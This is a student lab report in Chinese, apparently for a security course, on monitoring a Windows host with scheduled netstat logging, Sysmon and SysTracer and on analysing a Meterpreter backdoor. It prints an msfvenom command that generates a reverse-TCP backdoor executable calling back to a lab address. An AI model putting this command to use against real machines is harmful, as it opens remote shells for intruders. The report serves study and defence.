zoukankan      html  css  js  c++  java
  • 20175323 Exp4 恶意代码分析

    1. 实验后回答问题

    • 如果在工作中怀疑一台主机上有恶意代码,但只是猜想,所以想监控下系统一天天的到底在干些什么。请设计下你想监控的操作有哪些,用什么方法来监控。

       答:用计划任务可以一直监控端口和进程,并且导入excel统计的话也比较方便查看进程的运行次数等,还有Sysmon、schtasks等工具可以对计算机监听,另外微软的Process Explorer也可以监控进程活动
      
    • 如果已经确定是某个程序或进程有问题,你有什么工具可以进一步得到它的哪些信息。

       答:sysmon(全程记录事件,用搜索功能查找出与该程序对应的事件日志)、SysTracer(有详细对比并且方便查找注册表和文件被进行了什么样子的修改)、还可以上VirusTotal、VirusScan进行扫描,看看它是否被认为是个恶意程序
      

    2. 实验总结与体会

    这次实验虽说基本上都是利用现有的工具,但是也遇到了一些令人困惑的问题(工具不会用、计划任务无法自动运行、分析数据变化等),需要在网上查找很多的信息,对注册表等文件的内容有了进一步的了解,感觉工具会用也蛮厉害的(比如excel表的统计功能……)
    

    3. 实践过程记录

    3.1 系统运行监控

    3.1.1 Windows计划任务schtasks

    使用命令schtasks /create /TN 20175323 /sc MINUTE /MO 1 /TR "cmd /c netstat -bn > c: etstatlog.txt" 创建计划任务

    • 此处TR后的表示需要运行的指令
    • TN后面表示计划任务名字
    • sc表示计时方式
    • b表示显示执行的程序名,n表示不解析IP直接显示


    注:此处的计划任务名称是netstat5323是因为我做了很多遍!最后成功的计划任务名是20175323!但是最后忘记截图

    在C盘下建一个文件c: etstatlog.bat用于显示日期和时间,内容为:

    date /t >> c: etstatlog.txt
    time /t >> c: etstatlog.txt
    netstat -bn >> c: etstatlog.txt

    通过控制面板->管理工具->任务计划程序,找到20175323的计划任务:

    更改20175323计划中的属性->操作中的cmd,改为上面生成的bat

    然后就出现了一个问题:总是能够手动运行且不报错,可是就是不能自动每分钟运行一次

    最后通过以下俩个步骤解决:

    我还需要在常规的安全中修改选项如下:(需要输入用户密码)

    一定要修改电源选项,不然会无法触发

    神奇的就是这两个小小的地方让我卡了一晚上

    触发这个计划任务后,打开c: etstatlog.txt文件,就可以看到获取到的信息

    我一直开着电脑等了一天,之后将数据全部复制到excel进行统计:

    小贴士:如果直接导入不能出现文本向导就复制数据,通过开始->粘贴键进入导入向导

    如图导入成功:

    然后可以统计数值:

    emmm可以看到人人影视的程序和p4pclient.exe(应该是人人用于上传和下载的程序)访问次数最多(暴露了我边做实验边下电影的事实)

    如果剔除这两个程序的话,进程数最多的就有[chrome.exe]、[DellMobileConnectClient.exe]、[svchost.exe]和[TXEDU.exe]

    前两个应该没什么大问题,第三个是微软的,官方解释是“从动态链接库 (DLL) 中运行的服务的通用主机进程名称”,最后一个没查到是啥……

    只能查查这个TXEDU.exe的IP归属地址,结果还真是来自四面八方的,海外也有,难道还真让我发现了一个病毒?最后在bing中查到:

    emmmmm……那好吧

    3.1.2 sysmon

    在官网上下载sysmon工具,并设置配置文件:

    <Sysmon schemaversion="10.42">
      <!-- Capture all hashes -->
      <HashAlgorithms>*</HashAlgorithms>
      <EventFiltering>
        <!-- Log all drivers except if the signature -->
        <!-- contains Microsoft or Windows -->
        <DriverLoad onmatch="exclude">
          <Signature condition="contains">microsoft</Signature>
          <Signature condition="contains">windows</Signature>
        </DriverLoad>
    
        <ProcessCreate onmatch="exclude">
          <Image condition="end with">chrome.exe</Image>
          <Image condition="end with">iexplorer.exe</Image>
        </ProcessCreate>
    
        <NetworkConnect onmatch="exclude">
          <Image condition="end with">chrome.exe</Image>
          <Image condition="end with">iexplorer.exe</Image>
          <SourcePort condition="is">137</SourcePort>
          <SourceIp condition="is">127.0.0.1</SourceIp>
        </NetworkConnect>
    
        <CreateRemoteThread onmatch="include">
          <TargetImage condition="end with">explorer.exe</TargetImage>
          <TargetImage condition="end with">svchost.exe</TargetImage>
          <TargetImage condition="end with">winlogon.exe</TargetImage>
          <SourceImage condition="end with">powershell.exe</SourceImage>
        </CreateRemoteThread>
      </EventFiltering>
    </Sysmon>
    

    其中相关项:

    • ProcessCreate表示进程创建
    • NetworkConnect是网络连接
    • CreateRemote是远程线程创建

    打开cmd,进入sysmon所在的文件夹,输入Sysmon.exe -i sysmon.xml,注意要以管理员身份运行

    然后就可以进入计算机管理,查看事件查看器,在应用程序和服务日志/Microsoft/Windows/Sysmon/Operational中,我们可以看到按照配置文件的要求记录的新事件,以及详细信息。

    3.2 恶意软件分析

    要求:分析该软件在(1)启动回连,(2)安装到目标机(3)及其他任意操作时(如进程迁移或抓屏,重要是你感兴趣)。该后门软件
    (1)读取、添加、删除了哪些注册表项
    (2)读取、添加、删除了哪些文件
    (3)连接了哪些外部IP,传输了什么数据(抓包分析)

    1. 使用Sysmon

    因为实验三我并没有实现免杀,所以还是用了实验二的后门程序,关闭了杀软。然后用主机实现回连,kali获取到主机shell:

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.9 LPORT=5323 -f exe > 5323backdoor.exe老套路了

    在sysmon中进行查找,可以看到完整的回连信息:

    以及用kali对主机发出指令时的信息:我连续输入了dir、pwd、ecord_mic等指令,抓到了下面这个

    不太清除这个ApacheBench command line utility是干什么的,网上说是实用命令行程序。。

    另外其他抓到的与5323backdoor有关的事件中只有进程id号,没有详细信息。

    1. 使用Systracer

    第一步:下载安装Systracer

    点击take snapshot拍摄一次快照

    用kali对主机getShell之后执行一些指令

    在这个过程中拍摄了四次快照:

    • 快照一(Snapshot #1):安装好Systracer后立即拍摄的快照
    • 快照二(Snapshot #2):运行后门程序并在kali中getShell时
    • 快照三(Snapshot #3):通过后门程序对主机运行指令,如dir、ecord_mic等后
    • 快照四(Snapshot #4):程序执行结束后

    对快照进行分析,通过Applications->左侧Running Processes->找到后门进程5323backdoor.exe->点击Opened Ports,可以看到查看回连地址、远程地址和端口号:

    还可以根据Compare键对某一个具体的快照看到计算机文件中前后的变化:

    下面是快照二的compare,蓝色为变化的内容:

    上图中是SoftwareMicrosoftInputMethodSHARED发生了变化,一查发现是微软输入法的注册表,难道是后门程序尝试用主机输入法向主机shell发送指令?

    可以看到具体是CoCPrivacyConsentUXShowStartTime发生了变化,但是具体它的意思我没揣摩出来,网上也没查到

    这个SoftwareMicrosoftWindowsCurrentVersionActivityDataModel中的ActivityDataModel我实在不知道啥意思

    路径是SOFTWAREMicrosoftMultimedia,终于遇到一个看得懂的了,这个应该是多媒体的注册表信息,对应我在kali中的获取音频的ecord_mic指令操作

    以上是全部的变化内容,另外还有一些蓝色部分显示:

    猜测可能是Systracer的库中没有对应的内容所以无法解析

    下面是快照四的compare中变化内容:此时

    可以看到ControlSet001CurrentControlSet都发生了变化,其中ControlSet001代表系统真实的配置信息。CurrentControlSet代表运行时配置的信息

    但是不清楚服务中的bam指什么

    1. 抓包
      通过主机抓到的包全部都是TCP包,如下图所示,除了三次握手没有分析出有用的信息
  • 相关阅读:
    【Python】Visual Studio Code 安装&&使用 hello python~~~~
    linux系统644、755、777权限详解
    python对象销毁(垃圾回收)
    linux .bashrc文件修改和生效
    Python学习笔记(20)-文件和文件夹的移动、复制、删除、重命名
    HDU 4635 Strongly connected(强连通)经典
    推荐一款免费的SQLsever的备份软件sqlBackupAndFtp
    Objective-C基础笔记(6)Block
    iOS开发UI篇—懒载入
    关于Adapter对数据库的查询、删除操作
  • 原文地址:https://www.cnblogs.com/ruirui56/p/12694826.html
Copyright © 2011-2022 走看看